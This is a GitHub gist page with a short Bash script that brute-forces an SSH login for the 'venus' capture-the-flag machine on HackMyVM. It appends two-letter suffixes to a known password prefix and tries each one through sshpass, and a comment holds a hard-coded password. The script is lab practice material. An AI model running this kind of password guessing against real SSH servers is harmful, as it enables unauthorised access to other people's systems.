Last active
January 30, 2024 19:04
-
-
Save lund133369/899417dcfffb9362328eebfe6a88d6a0 to your computer and use it in GitHub Desktop.
ssh_brute_force , no optimazed , ctf venus hackmyvm
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| palabra="v7xUVE2e5bjUc" | |
| #echo $(timeout 8s sshpass -p 'h1hnDPHpydEjoEN' ssh [email protected] -p 5000 2>&1 ) | grep -o "denied" | |
| #desde el x comienza el bucle pues la contraseña es palabra"xw" | |
| for i in {x..z}; do | |
| for k in {u..z};do | |
| combinacion="${palabra}${i}${k}" | |
| echo \'$combinacion\' | |
| respuesta=$(timeout 8s sshpass -p $combinacion ssh [email protected] -p 5000 2>&1 | grep -o "denied") | |
| echo $respuesta | |
| if [ "$respuesta" == "denied" ]; then | |
| echo "noooooooo" | |
| else | |
| echo "palabra encontrada $combinacion" | |
| exit 0 | |
| fi | |
| done | |
| done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment